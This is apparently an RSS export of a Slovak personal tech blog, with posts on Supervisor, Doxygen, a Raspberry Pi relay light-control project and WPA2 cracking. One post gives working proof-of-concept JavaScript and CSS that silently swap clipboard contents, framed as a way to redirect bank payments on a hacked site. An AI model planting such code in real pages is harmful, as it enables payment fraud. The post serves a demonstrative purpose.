Šimon Podlesný https://spodlesny.eu Sometimes you have to demo a threat to spark a solution Wed, 20 Jul 2016 09:20:33 +0000 sk-SK hourly 1 https://wordpress.org/?v=4.7.5 94844672 Permanentné spustenie skriptu na serveri (supervisor) https://spodlesny.eu/index.php/2016/07/20/supervisor/ https://spodlesny.eu/index.php/2016/07/20/supervisor/#respond Wed, 20 Jul 2016 09:04:51 +0000 https://spodlesny.eu/?p=330 Pri jednom projekte som riešil otázku ako udržať skript spustený nepretržite. Mohol som ho síce vložiť do init-u alebo pomocou CRONu zisťovať či skript beží a pokiaľ nie tak ho znova spustiť. Ani jedno riešenie mi však neprišlo ideálne alebo dostatočné jednoduché na prevedenie. Rozhodol som sa pre to zvoliť Supervisor. Čo je to Supervisor? […]

The post Permanentné spustenie skriptu na serveri (supervisor) appeared first on Šimon Podlesný.

]]>
Pri jednom projekte som riešil otázku ako udržať skript spustený nepretržite. Mohol som ho síce vložiť do init-u alebo pomocou CRONu zisťovať či skript beží a pokiaľ nie tak ho znova spustiť. Ani jedno riešenie mi však neprišlo ideálne alebo dostatočné jednoduché na prevedenie. Rozhodol som sa pre to zvoliť Supervisor.

Čo je to Supervisor?

Supervisor je program, ktorý umožňuje uživateľom monitorovať a ovládať procesy v UNIX-ových systémoch. Na rozdiel od programov ako launchd, daemontools alebo runit jeho cieľom nie je nahradiť init ako „proces č. 1“ ale zameriava sa hlavne na manažovanie užívateľských programov a projektov. To je taktiež dôvodom, prečo sa pri štarte spúšťa medzi bežnými uživateľskými procesmi.

Inštalácia

Väčšina linuxových distribúcii by ho mala mať v repozitároch takže inštalácia je teda jednoduchá:

sudo apt-get install supervisor

Nastavenie

Nastavenie supervízora je skutočne jednoduché. Stačí v priečinku /etc/supervisor/conf.d vytvoriť súbor s koncovkou .conf napríklad cez editor nano:

nano /etc/supervisor/conf.d/rss-mailing-list.conf

Obsah súboru by mal vyzerať nasledovne:

[program:rss-mailing-list]
command=/opt/rss-mailing-list/manager.py
autostart=true
autorestart=true
stderr_logfile=/var/log/rss-mailing-list.err.log
stdout_logfile=/var/log/rss-mailing-list.out.log

Myslím  si že konfiguračný súbor je zrozumiteľný aj bez vysvetlenia ale poďme si ho aj napriek tomu prejsť spoločne:

[program:rss-mailing-list]

  • obsahuje názov programu o ktorý sa jedná. Ako pri väčšine konfiguračných súborov, neodporúča sa používať diakritika a medzery

command=/opt/rss-mailing-list/manager.py

  • cesta k programu, ktorý sa má spustiť. Odporúčané je používať absolútnu cestu (celú cestu od koreňa)

autostart=true
autorestart=true

  • prvý riadok určuje či sa má program spustiť automaticky po štarte systému
  • druhý riadok určuje ako sa má zachovať v prípade že je program ukončený. Je možne nastaviť tri stavy:
    • true – program sa spustí v prípade akéhokoľvek ukončenia
    • false – program ostane ukončený
    • unexpected – program sa znova spustí len v prípade že nastalo neočakávané ukončenie (všetko okrem chybových kódov 0 a 2)

stderr_logfile=/var/log/rss-mailing-list.err.log
stdout_logfile=/var/log/rss-mailing-list.out.log

  • posledné dva riadky určujú kde sa má zapisovať výstup z programu
    • stderr_logfile – sem sa zapisujú všetky chybové výpisy odoslané na stderr (štandardný chybový výstup)
    • stdout_logfile – sem sa zapisuje všetko, čo sa zobrazí na stdout (štandardný výstup)

Spustenie

Keď máme konfiguračný súbor pripravený, je na čase aby ho supervisor načítal. Toho docielime príkazom:

supervisorctl reread

Potom stačí aktualizovať supervisor-a a program je zavedený a automatický spustený:

supervisorctl update

 

Manažovanie programov

Manažovanie je veľmi jednoduché. Nasledujúcim príkazom bez argumentov sa nám spustí iteratívny režim supervisora

supervisorctl

Potom prostredníctvom príkazov start, stop, restart vieme jednotlivé programy spustiť, zastaviť alebo reštartovať.

supervisor ovladanie

 

Taktiež vieme pomocou príkazu tail prechádzať logy

supervisor prechadzanie logov

 

A pravda vystúpime z programu príkazom quit

Záver

Supervisor je ideálne a jednoduché riešenie v prípade že potrebujete akýkoľvek skript/program nechať spustený neobmedzene dlho a nechce sa vám riešiť vlastný spôsob ako toho docieliť

Zdroje:

http://supervisord.org/

https://www.digitalocean.com/community/tutorials/how-to-install-and-manage-supervisor-on-ubuntu-and-debian-vps

The post Permanentné spustenie skriptu na serveri (supervisor) appeared first on Šimon Podlesný.

]]>
https://spodlesny.eu/index.php/2016/07/20/supervisor/feed/ 0 330
Vianočné prianie od doc. Kunovského (2015) https://spodlesny.eu/index.php/2015/12/17/vianocne-prianie-od-doc-kunovskeho-2015/ https://spodlesny.eu/index.php/2015/12/17/vianocne-prianie-od-doc-kunovskeho-2015/#respond Thu, 17 Dec 2015 15:04:01 +0000 http://spodlesny.eu/?p=277 Hovorí sa že kto nezažil vianočné prianie od doc. Kunovského, ako keby neštudoval na FIT 🙂

The post Vianočné prianie od doc. Kunovského (2015) appeared first on Šimon Podlesný.

]]>
Hovorí sa že kto nezažil vianočné prianie od doc. Kunovského, ako keby neštudoval na FIT 🙂

The post Vianočné prianie od doc. Kunovského (2015) appeared first on Šimon Podlesný.

]]>
https://spodlesny.eu/index.php/2015/12/17/vianocne-prianie-od-doc-kunovskeho-2015/feed/ 0 277
Doxygen v Sublime – Quick tutorial https://spodlesny.eu/index.php/2015/12/12/doxygen-quick-tutorial/ https://spodlesny.eu/index.php/2015/12/12/doxygen-quick-tutorial/#comments Sat, 12 Dec 2015 10:53:48 +0000 http://spodlesny.eu/?p=259 Súčasťou posledného projektu je generovanie dokumentácie projektu v Doxygen. Nakoľko však democviko bude pravdepodobne znova zverejnené až po termíne odovzdania, rozhodol som sa vypracovať tento rýchly tutoriál pre všetkých ktorý majú problém nejako začať s touto „triviálni“ úlohou 🙂 Po pravde ono je to naozaj jednoduché, len treba využiť ten správny editor a doplnok. Čo teda […]

The post Doxygen v Sublime – Quick tutorial appeared first on Šimon Podlesný.

]]>
Súčasťou posledného projektu je generovanie dokumentácie projektu v Doxygen. Nakoľko však democviko bude pravdepodobne znova zverejnené až po termíne odovzdania, rozhodol som sa vypracovať tento rýchly tutoriál pre všetkých ktorý majú problém nejako začať s touto „triviálni“ úlohou 🙂

Po pravde ono je to naozaj jednoduché, len treba využiť ten správny editor a doplnok. Čo teda budete potrebovať:

  • približne 5 min času na konfiguráciu
  • Sublime Text 3
  • najlepšie Linux

 

Ako nainštalovať Sublime snáď netreba vysvetľovať. To zvládne určite každý aj bez tutoriálu.

Keď máte nainštalovaný Sublime, zvolte View > Show console. V spodnej časi vám vyskočí konzola

sublime konzola

 

Potom prejdite na stránku http://packagecontrol.io a v menu na pravo zvoľte Installation. Zobrazí sa vám nasledujúci kód, ktorý skopírujete do konzoly, ktorú ste si zobrazili vyšie a stlačte Enter.

sublime - package control
To, čo je pod SUBLIME TEXT 3 treba skopírovať 🙂

Sublime následne reštartujte a možno sa ešte bude chcieť pár krát reštartovať sám, tak mu to umožnite. Keď všetko prebehne v poriadku, zrušte konzolu (ak sa už nevypla sama) klávesou Esc a použite klávesovú skratku Ctrl + Shift + P po ktorej sa zobrazí nasledujúce okno

sublime - command pallete

Do okna napíšete:

package install

stlačíte Enter a následne zadajte:

DoxyDoxygen

Zvolte prvý balík, ktorý sa vám zobrazí a po chvíli máte úspešne nainštalovaný doplnok v Sublime. Vyskočí stránka s dokumentáciou, tak si ju pozrite.

Asi najdôležitejší príkaz je: /** + Enter.

Skrátka napíšete vrchnú časť značky pre komentár a stlačíte Enter. DoxyDoxygen už vygeneruje potrebnú kostru, ktorú vy už len vyplníte.

sublime - doxydoxygen

 

Keď si myslíte že dokumentácia je hotová, môžete si vyskúšať jej vygenerovanie. Otvorte terminál a zadajte:

doxygen Doxyfile

Príkaz vygeneruje priečinok html 

Teraz stačí najsť súbor index.html a otvoriť ho v prehliadači, alebo použiť príkaz:

firefox index.html

 

Záverom:

  • Kostra, ktorú vygeneruje DoxyDoxygen nemusí obsahovať všetko čo je v zadaní tak na to nezabudnite
  • Odovzdáva sa hlavičkový súbor Proj3.h a nie samotná dokumentácia
  • Konfiguračný súbor Doxyfile si viete stiahnúť na Wiki v popise projektu

The post Doxygen v Sublime – Quick tutorial appeared first on Šimon Podlesný.

]]>
https://spodlesny.eu/index.php/2015/12/12/doxygen-quick-tutorial/feed/ 4 259
FLOG: Banská Bystrica https://spodlesny.eu/index.php/2015/09/19/flog-banska-bystrica/ https://spodlesny.eu/index.php/2015/09/19/flog-banska-bystrica/#respond Sat, 19 Sep 2015 19:38:28 +0000 http://spodlesny.eu/?p=214 V Banskej Bystrici som strávil nádherné 4 roky života a musím povedať že je to naozaj krásne mesto. Vychutnajte si teda fotografie, ktoré som spravil pri jeho poslednej návšteve pred odchodom do Brna. Fotky sú podobne ako všetko na mojom blogu voľne šíriteľné pod licenciou CC

The post FLOG: Banská Bystrica appeared first on Šimon Podlesný.

]]>
V Banskej Bystrici som strávil nádherné 4 roky života a musím povedať že je to naozaj krásne mesto. Vychutnajte si teda fotografie, ktoré som spravil pri jeho poslednej návšteve pred odchodom do Brna.

DSC_0069 - DSC_0079

Fotky sú podobne ako všetko na mojom blogu voľne šíriteľné pod licenciou CC

The post FLOG: Banská Bystrica appeared first on Šimon Podlesný.

]]>
https://spodlesny.eu/index.php/2015/09/19/flog-banska-bystrica/feed/ 0 214
Zápisky hackera – Niektoré veci vás príručky nenaučia https://spodlesny.eu/index.php/2015/08/03/zapisky-hackera-niektore-veci-vas-prirucky-nenaucia/ https://spodlesny.eu/index.php/2015/08/03/zapisky-hackera-niektore-veci-vas-prirucky-nenaucia/#respond Mon, 03 Aug 2015 09:05:38 +0000 http://spodlesny.eu/?p=193 Vraví sa že tie najlepšie nápady prídu vo chvíli keď to najmenej čakáte. V mojom prípade to bolo pri úhrade platby za ISIC 🙂 Tak ako milión krát pred tým aj teraz som pri platbe cez Internet Banking našiel číslo účtu kam bolo treba poslať peniaze, skopíroval som ho do schránky a vložil do IB. […]

The post Zápisky hackera – Niektoré veci vás príručky nenaučia appeared first on Šimon Podlesný.

]]>
Vraví sa že tie najlepšie nápady prídu vo chvíli keď to najmenej čakáte. V mojom prípade to bolo pri úhrade platby za ISIC 🙂

Tak ako milión krát pred tým aj teraz som pri platbe cez Internet Banking našiel číslo účtu kam bolo treba poslať peniaze, skopíroval som ho do schránky a vložil do IB. Bežná prax, nič zvláštne.

Potom som si však spomenul na článok, ktorý pred pár rokmi vyšiel na soome a ktorý pojednával o tom, aké nebezpečné môže byť bezhlavé kopírovanie textu. Článok síce poukazuje na modifikovanie obsahu schránky textom, ktorý je „neviditeľný“, avšak mojim cieľom bolo úplne pozmeniť obsah schránky s tým, že originálny text, ktorý vidí uživateľ by sa nezmenil.

Ako toho dosiahnuť? Sú dve možnosti:

  1. Formátovaním stránky
  2. Využitím JavaScriptu

Prvé riešenie vytvoril smiley a jedná sa o riešenie s využitím čístého HTML/CSS. Drobný problém je v tom, že na každom browseri sa to môže tváriť odlišne a nie vždy to musí vyzerať dôveryhodne.

Druhé riešenie, ktorého tvorcom som ja (pravdaže s využitím google fu a stack overflow) pre zmenu využíva JavaScript. Tento skript zachytáva event na kopírovanie textu a namiesto skopírovania pôvodného textu do schránky je do schránky nahratý text útočníka. Autor stránky, ktorá bola hacknutá teda môže po naliehaní klientov skontrolovať číslo účtu, avšak až po analýze kódu webovej stránky vie zistiť rozdiel. A nakoľko nie všetci užívatelia text kopírujú a nie každý admin je developer, je možné že takáto modifikácia vydrží neidentifikovaná po dlhý čas.

Tak ako prvé riešenie, aj toto má svoje muchy. Tým najväčším problémom je to, že neviete zistiť, čo presne užívateľ skopíroval z webovej stránky a je teda možné že mu nahradíte v schránke úplne iný text ako ste pôvodne chceli. Som si istý, že je to riešiteľný problém, avšak mojím cieľom bolo spraviť funkčný PoC a ak sa to dá, neuľahčiť prácu skiddie takže vyriešenie problému je už na vás.

 

Na záver pripájam zdrojové kódy pre prípad že časom nebudú linky na PoC fungovať:

EDIT: Ostránený zabudnutý alert() v javascript_poc.html

<html>
<head>
<title>PoC cipboard exchange</title>
</head>
<body>
<script>
var isIe = (navigator.userAgent.toLowerCase().indexOf("msie") != -1
           || navigator.userAgent.toLowerCase().indexOf("trident") != -1);

document.addEventListener('copy', function(e) {
    var textToPutOnClipboard = "Muhaha (evil_emoticon) :D";
    if (isIe) {
        window.clipboardData.setData('Text', textToPutOnClipboard);
    } else {
        e.clipboardData.setData('text/plain', textToPutOnClipboard);
    }
    e.preventDefault();
});
</script>	

<p>Lorem ipsum</p>

</body>
</html>
<!DOCTYPE html>
<html>
<head>
    <title>hide</title>
    <style type="text/css">
        .wrapper {
            position: relative;
        }

        .good:before {
            content: "ACC-GOOD";
        }

        .bad {
            display: inline-block;
            position: absolute;
            left: 0;
            color: transparent;
        }
    </style>
</head>

<body>
    <p>Send money to
        <span class="wrapper">
            <span class="good"></span><span class="bad">ACC-BAAD</span>
        </span>
        thank you goodbye.
    </p>
</body>
</html>

P.S Tento typ útoku by sa dal zaradiť do kategórie Clickjackingu, takže ak by ste sa chceli dozvedieť o podobných technikách viacej, hľadajte pod týmto kľúčovým slovom 😉

The post Zápisky hackera – Niektoré veci vás príručky nenaučia appeared first on Šimon Podlesný.

]]>
https://spodlesny.eu/index.php/2015/08/03/zapisky-hackera-niektore-veci-vas-prirucky-nenaucia/feed/ 0 193
Crackovanie WPA2 v lete https://spodlesny.eu/index.php/2015/07/30/crackovanie-wpa2-v-lete/ https://spodlesny.eu/index.php/2015/07/30/crackovanie-wpa2-v-lete/#respond Thu, 30 Jul 2015 05:48:19 +0000 http://spodlesny.eu/?p=187 Zapamätajte si jednu dôležitú vec. Pokiaľ chcete notebook aj naďalej využívať, nikdy sa na ňom nepokúšajte crackovať heslá, ťažiť bitcoiny alebo robiť čokoľvek iné, čo dlhodobo vyťažuje procesor alebo grafiku na 100%. Notebooky na to skrátka nie sú vstavané a skôr či neskôr sa vám to vypomstí (ja som už musel vymeniť matičnú dosku v […]

The post Crackovanie WPA2 v lete appeared first on Šimon Podlesný.

]]>
Zapamätajte si jednu dôležitú vec. Pokiaľ chcete notebook aj naďalej využívať, nikdy sa na ňom nepokúšajte crackovať heslá, ťažiť bitcoiny alebo robiť čokoľvek iné, čo dlhodobo vyťažuje procesor alebo grafiku na 100%. Notebooky na to skrátka nie sú vstavané a skôr či neskôr sa vám to vypomstí (ja som už musel vymeniť matičnú dosku v minulosti). Občas ale skrátka nie je na výber a tých pár miliónov hashov skrátka porovnať musíte.

V takom prípade som aspoň ja využil chladiacu podložku na ktorej bol notebook, a pre lepšiu cirkuláciu vzduchu aj tento veľký domáci ventilátor. Nakoľko mám telo notebooku z veľkej časti z kovu, ktorý je tepelne vodivý, ventilátor splnil svoju časť dokonale a aj napriek tomu, že boli všetky jadra procesoru permanentne zaťažené na 100% po dobu asi 5 hodín, teplota ostala na rovnakej úrovni ako pri bežnom používaní.

Účínné chladenie

The post Crackovanie WPA2 v lete appeared first on Šimon Podlesný.

]]>
https://spodlesny.eu/index.php/2015/07/30/crackovanie-wpa2-v-lete/feed/ 0 187
Projekt S.A.R.A.H – Ovládanie svetla v domácnosti na diaľku https://spodlesny.eu/index.php/2015/07/19/projekt-s-a-r-a-h-ovladanie-svetla-v-domacnosti-na-dialku/ https://spodlesny.eu/index.php/2015/07/19/projekt-s-a-r-a-h-ovladanie-svetla-v-domacnosti-na-dialku/#respond Sun, 19 Jul 2015 20:13:28 +0000 http://spodlesny.eu/?p=24 K vytvoreniu projektu S.A.R.A.H ma inšpiroval kamarát Patrik Naď, ktorý zrovna v tej dobe uvažoval nad kúpou RaspberryPi z dôvodu domácej automatizácie. Vždy ma fascinovala automatizácia a nakoľko Paťo ešte len začína s programovaním v Pythone, rozhodol som sa, že táto séria článkov bude venovaná postupnému vývoju tohoto projektu aby ľudia ako on mali k […]

The post Projekt S.A.R.A.H – Ovládanie svetla v domácnosti na diaľku appeared first on Šimon Podlesný.

]]>
K vytvoreniu projektu S.A.R.A.H ma inšpiroval kamarát Patrik Naď, ktorý zrovna v tej dobe uvažoval nad kúpou RaspberryPi z dôvodu domácej automatizácie. Vždy ma fascinovala automatizácia a nakoľko Paťo ešte len začína s programovaním v Pythone, rozhodol som sa, že táto séria článkov bude venovaná postupnému vývoju tohoto projektu aby ľudia ako on mali k dispozícii ďalší zdroj informácii.

Projekt S.A.R.A.H – Ovládanie svetla v domácnosti na diaľku

Prečo zrovna S.A.R.A.H?

Alfou aj omegou každého dobrého projektu je názov 🙂

Názov môjho projektu je skratka zo seriálu Eureka znamenajúca: Self Actuated Residential Automated Habitat. Tý čo pozerali serial Eureka už určite vedia o čo sa jedná. V seriály to bol pokročilý, plne automatizovaný dom, ktorý bol obsluhovaný umelou inteligenciou. Môj projekt síce umelou inteligenciou disponovať nebude (zatiaľ) ale inak je to úplne rovnaká myšlienka, tak prečo nezachovať trocha symbolizmu.

 

Cieľ projektu, komponenty, cena.

Mojím prvým cieľom v projekte bolo rozsvietiť svetlo v izbe. Akonáhle som začal vyhľadávať bližšie informácie o probléme, zistil som že je to celkom jednoduché. RaspberryPi som už doma mal, stačilo kúpiť zopár prepojovacích káblov na GPIO porty, ktoré stáli ani nie euro (link) a relátko, ktoré stálo pár euro (link). Súčiastky prišli v priebehu mesiaca a mohol som začať pracovať na projekte.

 

Zapojenie relátka k RasPi cez GPIO.

DSC_0103Relátko je naozaj malé a jednoduché zariadenie. Svojou podstatou sa veľmi nelíši od bežného prepínača. Privediete logický signál na vstup, a podľa toho či je na vstupe 1 alebo 0 sa obvod preklopí. Svorky po bokoch sú vstupy a v strede je výstup. Výstup je tá časť, s ktorou sú prepojené oba vstupy. V prípade že chcete relátko využiť ako jednoduchý spínač, jednoducho využijete len jeden vstup. Prepínať tak budete medzi vstupom, na ktorom bude privedený prúd a vstupom na ktorom nie je žiaden vodič.

Ako vidieť na obrázku, relátko má tri GPIO porty. Na Ucc prípojíte napájanie 5V, na Gnd pripojíte zem a Inl slúži na samotné prepínanie. Tam teda privediete signál. K tomu aby ste vedeli správne zapojiť jednotlivé GPIO porty, potrebujete vedieť v akom poradí idú na RasPi. K tomu vám dopomôže nasledujúci obrázok.

Zdroj: http://raspi.tv/2014/rpi-gpio-quick-reference-updated-for-raspberry-pi-b
Zdroj: http://raspi.tv/2014/rpi-gpio-quick-reference-updated-for-raspberry-pi-b

Následne stačí už len správne pripojiť vodiče. Výsledná práca vyzerá približne nasledovne.

 

Pripojenie relátka na Raspberry Pi
Pripojenie relátka na Raspberry Pi

Keď je relé zapojené, môžme otestovať jeho funkčnosť. Ako prvé, zapneme RasPi a nainštalujeme aplikáciu WiringPi. Postupy na inštaláciu sú minimálne dva, a oba viete nájsť na oficiálnej stránke projektu. Teraz, keď je už WiringPi úspešne nainštalovaný, vieme relé otestovať. Stačí použiť nasledujúce príkazy:

#resetuje pin
gpio mode 1 out

#nastaví na pin číslo 1 logickú 0
gpio write 1 0

#nastaví na pin číslo 1 logickú 1
gpio write 1 1 

WiringPi používa svoj vlastný systém číslovania pinov (GPIO portov). Nasledujúca tabuľka zobrazuje číslovanie pinov WiringPi a ich originálne číslovanie na RasPi.

Zdroj: https://www.trafex.nl/2014/08/25/connect-a-relay-board-to-your-raspberry-pi/
Zdroj: https://www.trafex.nl/2014/08/25/connect-a-relay-board-to-your-raspberry-pi/

Taktiež viete použiť príkaz gpio readall, ktorý vám vypíše nasledujúcu tabuľku priamo v terminály

gpio readall

Pri nastavení logickej hodnoty na relé, by ste mali počuť zvuk preklopenia (určite ho rozpoznáte). V prípade, že tento zvuk nepočuť, ale LEDka sa prepína, pravdepodobne ste spravili chybu pri pripájaní relé na RasPi. Presne táto chyba sa mi stala prvý krát, keď som testoval relé. Vtedy som si číslovanie posunul o jedna a relé nebolo pripojené na správne porty.

 

Ako pripojiť relé na rozvody

Sú dva spôsoby ako viete pripojiť relé do elektrickej siete. Viete úplne nahradiť pôvodný vypínač alebo viete relé prepojiť s vypínačom tak, aby ste vedeli svetlo ovládať aj hardvérovo (klasický vypínač) alebo elektronicky (S.A.R.A.H). Zásahy do elektrickej siete sú však životu (a majetku) nebezpečné, preto pokiaľ nemáte potrebné oprávnenia (alebo know-how) prenechajte túto časť na niekoho skúseného. Predsa len 230V kope celkom slušne a 50Hz vás už len tak nepustí 🙂

Taktiež nezabudnite, že relé je pod napätím a teda sa treba postarať o jeho správne osadenie, aby sa zamedzilo kontaktu s vodivými časťami. Ja som relé osadil do plastovej krabice a pre efekt som vyrezal z plexiskla kryt aby bolo samotné zariadenie vidieť.

Obal bol pôvodne kúpený na väčšie relé, avšak časom som ho vymenil za to ktoré je aktuálne na fotke
Obal bol pôvodne kúpený na väčšie relé, avšak časom som ho vymenil za to, ktoré je aktuálne na fotke

Dve rady k osadeniu.

  1. Plexisklo odporúčam rezať uhlovou brúskou (flexka) avšak nie v sandáloch alebo šľapkách. I keď je to robota na pár min, plastové piliny sú zlo 😀
  2. Priesvitný materiál na krabicu použite len v prípade, že ste si vedomý ako veľmi ledka svieti. Ja som to neodhadol a cez noc mám izbu vysvietenú krvavo červenou farbou.

Plne elektronické ovládanie

Nahradíte pôvodný vypínač relé. Pri tomto zapojení ostáva jeden vstup na relé prázdny. Takéto zapojenie však veľmi neodporúčam. Predsa len vždy existuje možnosť že sa vyskytne nejaká chyba a v takom prípade je dobré mať aj záložný spôsob ako zapnúť svetlo.

Čiastočne elektronické ovládanie

Toto riešenie využívam doma (viď. foto vyššie). Pôvodný vypínač nahradíte novým tzv. prepínačom (ten, čo býva na schodiskách). V takomto prípade máte zapojený prepínač č. 1 a namiesto prepínača č. 2 zapojíte relé. Teraz však treba využiť už oba vstupy a na stred zapojíte výstup, ktorý ide na žiarovku. Na wikipedii je to celkom pekne vysvetlené

 

VPN, alebo prvý krok k zapínaniu svetla online

VPN je skratka pre Virtual Private Network. Názov sám o sebe môže znieť dosť zložito ale koncept VPN je dosť jednoduchý.

Zoberme si situáciu v ktorej som sa ocitol ja. Mal som pripojené RasPi do domácej WiFi siete. Acess Point (pre laikov jednoducho WiFi) je pripojený na switch a switch je pripojený na router, ku ktorému nemám prístup. Na routery je nastavené NAT a pripája sa do lokálnej siete ISP (poskytovateľa internetu) a ďalej do internetu. Problémy sú hneď dva. Neviem si nastaviť pravidlá pre smerovanie trafficu do lokálnej siete nakoľko nemám prístup na router a aj keby som prístup získal, nemám verejnú IP adresu na ktorú by som sa vedel z internetu pripojiť. Avšak mám kúpeny server v Čechách (volajme ho VPS), ktorý má verejnú IP adresu a viem ho manažovať tak, ako uznám za vhodné.

A teraz príde na radu samotné VPN. Nakonfigurujem na VPS službu OpenVPN, ktorá vytvorí virtuálnu privátnu sieť (VPN) do ktorej sa následne pripojí RasPi. Ak to ešte stále znie príliš zložito tak si predstavte, že sme zrovna vytvorili lokálnu sieť LAN cez internet. Skrátka dve zariadenia, ktoré sú každé v inej republike vedia komunikovať medzi sebou úplne rovnako, ako keby boli fyzicky vedľa seba.

Týmto sa vyriešil problém ako komunikovať zo zariadením, ku ktorému by sme nemali mať verejne prístup. Postup, ako nakonfigurovať VPN je možné najsť napríklad na DigitalOcean. Ja osobne som využil postup z oficiálnej stránky OpenVPN a s menšími zmenami som ho uviedol v dokumentácii SOČky, ktorú popíšem v niektorom z budúcich článkov. Zatiaľ dávam k dispozícii aspoň časť dokumentácie týkajúcu sa konfigurácie VPN.

Pokiaľ vám to príde stále príliš zložité, a stačí vám ovládanie svetla len v rámci lokálnej siete. Nastavenie VPN môžete vynechať. Ja som však chcel mať prístup k svetlu z ľubovoľného miesta a preto som potreboval VPN.

 

Začíname s programovaním

Ovládanie cez python

O prácu s GPIO portami sa v pythone stará balík RPi.GPIO, ktorý viete nainštalovať príkazom:

sudo pip install RPi.GPIO

Jeho nainštalovanie viete overiť tým, že spustíte v terminály python interpreter a to „veľmi zložitým“ príkazom:

python

do ktorého následne zadáte nasledujúci text:

import RPi.GPIO

Pokiaľ nevyhodí žiadnu chybu, balík bol nainštalovaný správne.Môžme teda prejsť k nasledujúcemu programu:

#!/usr/bin/python
# -*- coding: utf8 -*-
#prvý riadok určuje cestu k samotnému pythonu. Nie je to potrebné, avšak odporúča sa uvádzať
#druhý riadok určuje kódovanie v dokumente. UTF-8 je potrebné na podporu špeciálnych znakov v Slovenčine ako sú mäkčene a dĺžne, ktorým by ste sa mali ak sa to dá, aj tak vyvarovať. Ja som ich však pre prehľadnejšie komentáre aj tak použil. 

import RPi.GPIO as GPIO #importuje balík RPi.GPIO pod aliasom GPIO
import time #importuje balík, ktorý ma na starosti prácu s časom

GPIO.setmode(GPIO.BCM) #určí spôsob číslovania portov

GPI.setup(18, GPIO.OUT) #nastavi portu 18 mód OUT

while True: #spúštame nekonečnú slučku
    GPIO.output(18, GPIO.HIGH) #nastaví na port 18 logickú 1
    time.sleep(1) #program sa uspí na 1 sekundu
    GPIO.output(18, GPIO.LOW) #nastaví na port 18 logickú 0
    time.sleep(1) #program sa znovu uspí na 1 sekundu

Program bude presne každú sekundu prepínať relé. Avšak to nie je veľmi užitočné a preto kód upravíme a pridáme ovládanie online. Podobný kód som písal ako v jazyku C++ tak aj v Jave a môžem povedať že v Pythone je to tak jednoduché, ako len môže byť. Tu je už upravený kód:

#!/usr/bin/env python
# -*- coding: utf8 -*-

import socket,time
import RPi.GPIO as GPIO

GPIO.setmode(GPIO.BCM)
GPIO.setup(18, GPIO.OUT)

TCP_IP = '10.113.13.6' #nastavíme IP adresu, na ktorej má počúvať. V prípade že to skúšate všetko na jednom PC zadajte 0.0.0.0 alebo 127.0.0.1
TCP_PORT = 5006 #port na ktorom počúva
BUFFER_SIZE = 1024 #veľkosť bufferu

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Mágia, ktorú netreba riešiť. V podstate sa tu vytvára socket, ktorý bude slúžiť na online komunikáciu
s.bind((TCP_IP, TCP_PORT)) #Ďalšia mágia. Socketu sa pridelí vyšie uvedená IP adresa a port na ktorom bude počúvať a čakať na spojenie

stav = None #definujeme premennú stav, ktorá nám neskôr bude slúžiť na zistenie v akom režime sa nachádza relé, aby sme ho vedeli podľa toho prepnúť

while True: #znova nekonečná slučka
    s.listen(1) #čaká na spojenie

    conn, addr = s.accept() #vytiahne zo spojenia adresu odosielateľa a taktiež port na ktorom bude server očakávať odpoveď

    data = conn.recv(BUFFER_SIZE) #začína sa prijímanie dát. Dáta odoslané serverom sa uložia do premennej data

    if stav == None: #pokiaľ hodnota premennej stav je None (bez hodnoty) tak sa nastaví na výstup portu 18 logická 1 a premenná zmení svoj stav na False (boolean)
        GPIO.output(18, GPIO.HIGH)
        stav = False
    elif stav == False: #pokiaľ hodnota premennej stav je False, na port 18 sa nastaví logická 0 a hodnota premennej stav sa zmení na True
        GPIO.output(18, GPIO.LOW)
        stav=True
    elif stav == True: #pokiaľ hodnota premennej stav je True, na port 18 sa nastaví logická 1 a hodnota premennej stav sa zmení na False
        GPIO.output(18, GPIO.HIGH)
        stav = False

Keď je klientská časť hotová, ostáva vytvoriť už len serverovú časť.  Serverovú časť tvorí komunikácia cez sockety, ktorú som popísal vyššie a samotný Pythónovský webový server, ktorý je napísaný v Pyramid-e. Poďme teda na samotný kód:

#!/usr/bin/python
# -*- coding: utf8 -*-

from wsgiref.simple_server import make_server #balíky, ktoré potrebuje pyramid framework
from pyramid.config import Configurator #balíky, ktoré potrebuje pyramid framework
from pyramid.response import Response #balíky, ktoré potrebuje pyramid framework
import socket, time

def send_data(MESSAGE): #definujeme si funkciu (časť kódu), ktorú môžme kdekoľvek v programe zavolať ako: send_data("text_spravy") s tým, že "text_spravy" sa automatický uloží do premennej MESSAGE a kód vo vnútri funkcie sa vykoná
    TCP_IP = '10.113.13.6'
    TCP_PORT = 5006
    BUFFER_SIZE = 1024

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5) #toto je nové, nastavujeme čas ako dlho má server čakať na odpoveď o úspešnom nadviazaní komunikácie
    s.connect((TCP_IP, TCP_PORT))
    s.send(MESSAGE) #posielame správu, ktorá je uložená v premennej MESSAGE

    s.close() #uzavrieme spojenie po úspešnom odoslaní správy (keby sme to nespravili tak by sme sa opätovne nevedeli pripojiť)

def run(): #vo vnútri tejto funkcie voláme funkciu popísanú vyššie. Na RasPi teda posielame správu s textom: RELAY
    send_data("RELAY") 

def be_light(request): #ďalšia funkcia, tento krát už prepojená s pyramid web frameworkom (vysvetlím nižšie)
    run() #voláme funkciu run()
    return Response() #toto je návratová hodnota funkcie. Určuje, či request prešiel bez problémov (200 OK), poprípade sa vyskytol nejaký problém (404, 503 a pod)

if __name__ == '__main__':
    config = Configurator() #tu si pyramid nastaví nejaké potrebné dáta
    config.add_route('light', '/sarah/{name}') #vytvoríme cestu s názvom: nasweb.sk/sarah/light
    config.add_view(be_light, route_name='light') #pridáme pohlaď (view) pre cestu: nasbew.sk/sarah/light v ktorom určíme, že po prístupe na túto cestu sa zavolá funkcia be_light(), ktorú sme definovali vyššie. Zvyčajne takáto funkcia obsahuje html kód, ktorý vykreslí stránku.
    app = config.make_wsgi_app() #v tomto riadku sa vytvorí WSGI aplikácia
    server = make_server('185.8.236.187', 8080, app) #naštartujeme server, ktorý bude počúvať na adrese 185.8.236.187 a porte 8080. Taktiež mu určíme WSGI aplikáciu, ktorú ma poskytovať
    server.serve_forever() #jednoducho povedané nekonečná slučka, aby sa webserver neukončil

Je mi jasné že som ani zďaleka dostatočne nepopísal ako to celé funguje (to by bolo na samostatný článok). Potreboval som pythonovský webserver, tak som si prečítal pár strán v dokumentácii pyramidu a upravil kód v dokumentácii tak, aby bol použiteľný pre môj projekt. Originál dokumentáciu z ktorej som čerpal nájdete v nasledujúcom linku.

 

Samotná webová stránka

